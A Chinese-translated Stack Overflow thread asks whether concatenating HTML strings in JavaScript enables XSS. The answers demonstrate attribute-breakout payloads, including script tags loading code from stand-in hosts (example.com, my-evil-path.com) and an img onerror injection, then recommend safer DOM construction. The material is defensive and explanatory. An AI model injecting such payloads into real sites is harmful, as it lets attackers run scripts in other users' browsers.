在Javascript中构建HTML字符串真的不安全吗?

And*_*lly 47 html javascript security xss

托管我们网站的公司在部署之前审查我们的代码 - 他们最近告诉我们这个:

永远不应该直接操纵HTML字符串,因为这会打开我们潜在的XSS漏洞.相反,总是使用DOM api创建元素......可以是jQuery或直接DOM api.

例如,而不是

this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 
Run Code Online (Sandbox Code Playgroud)

他们告诉我们这样做

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
Run Code Online (Sandbox Code Playgroud)

这是真的吗?任何人都可以给我们一个XSS攻击的例子,它可以像第一个那样利用HTML字符串吗?

Sci*_*ter 66

如果this.au以某种方式修改,它可能包含这样的内容:

"><script src="http://example.com/evilScript.js"></script><span class="
Run Code Online (Sandbox Code Playgroud)

这会弄乱你的HTML并注入一个脚本:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
Run Code Online (Sandbox Code Playgroud)

如果使用DOM操作来设置src属性,则不会执行脚本(或您使用的任何其他XSS),因为它将被DOM API正确转义.


回答一些评论员的说法,如果有人可以修改this.au,他们肯定可以自己运行脚本:我不知道this.au它来自哪里,也不是特别相关.它可能是数据库中的值,并且数据库可能已被泄露.它也可能是恶意用户试图为其他用户搞砸了.它甚至可能是一个无辜的非技术人员,他没有意识到写作"def" > "abc"会破坏事物.


还有一件事.在您提供的代码中,var quizAuLink = $( 'a' );不会创建新<a>元素.它只会选择所有现有的.您需要使用它var quizAuLink = $( '<a>' );来创建一个新的.

  • 该死的那些example.com混蛋.他们托管所有最恶意的文件. (66认同)
  • @tomsmeding您无法保护用户免受他们自己的Web控制台使用或滥用,但它不一定是您担心的*current*用户的输入 - 而是恶意用户输入的内容,您的网站将向潜在的受害者显示. (8认同)
  • 现在为什么这比使用DOM方法更不安全?如果攻击者有可能修改this.au,他/她可能也有可能注入一个脚本元素. (2认同)
  • @tomsmeding也许`this.au`来自不受信任的来源,比如用户输入. (2认同)

Lie*_*yan 14

这应该是安全的,不会过多地影响可读性:

var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);
Run Code Online (Sandbox Code Playgroud)

关键是要避免执行字符串操作来构建HTML字符串.请注意,在上面,我$()只用于解析一个常量字符串,该字符串解析为一个众所周知的结果.在此示例中,只有this.au部件是危险的,因为它可能包含动态计算的值.

  • 但要注意,使用`.data()`不会将其指定为属性,并且OP可能需要它作为属性.当然,这种方式也可能很好. (6认同)

and*_*lrc 12

由于您无法在现代浏览器中注入脚本标记,因此.innerHTML您需要收听事件:

如果this.au以某种方式修改,它可能包含这样的内容:

"><img src="broken-path.png" onerror="alert('my injection');"><span class="
Run Code Online (Sandbox Code Playgroud)

这会弄乱你的HTML并注入一个脚本:

<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>
Run Code Online (Sandbox Code Playgroud)

并且因为运行更大的JavaScript设置错误:

var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
Run Code Online (Sandbox Code Playgroud)

感谢Scimoster的样板